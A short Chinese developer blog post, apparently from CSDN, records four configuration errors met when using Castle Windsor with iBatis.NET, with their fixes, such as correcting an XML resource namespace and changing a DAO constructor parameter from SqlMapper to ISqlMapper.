castle的一些使用问题

 1  未能加载文件或程序集 或它的某一个依赖项。系统找不到指定的文件。
[ConfigurationException:
- The error occurred while loading SqlMap.
- initialize type alias
- The error occurred in <sqlMap embedded="CdtDistribution.Model.Maps.Fxz.xml, CdtDistribution.Model" xmlns="http://ibatis.apache.org/dataMapper" />. 
- Check the DG_URCM.Model.Fxz, DG_URCM.Model.]

问题的解决办法 
     拷过来的XML文件的命名空间没有改过来

 

2   Can't create component 'wbzService' as it has dependencies to be satisfied.
wbzService is waiting for the following dependencies:

Services:
- CdtDistribution.Dao.WBZDao which was registered but is also waiting for dependencies.

wbzDao is waiting for the following dependencies:

Services:
- IBatisNet.DataMapper.SqlMapper which was not registered.

 解决的办法

    private ISqlMapper sqlmap;
        public WBZDao(SqlMapper sqlmap)
        {
            this.sqlmap = sqlmap;
           
        }

改成  private ISqlMapper sqlmap;
        public WBZDao( ISqlMapper sqlmap)
        {
            this.sqlmap = sqlmap;
           
        }

一个字母的问题

 

3
- The error occurred while loading SqlMap.
- apply inline parameterMap
- The error occurred in <sqlMap embedded="CdtDistribution.Model.Maps.Wbz.xml,CdtDistribution.Model" xmlns="http://ibatis.apache.org/dataMapper" />. 
- Check the FindCount.


同上  注意大小写问题

 

4  This SQL map already contains a MappedStatement named FindCount

2个不同的XML文件难道也不可以有相同的名字?

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值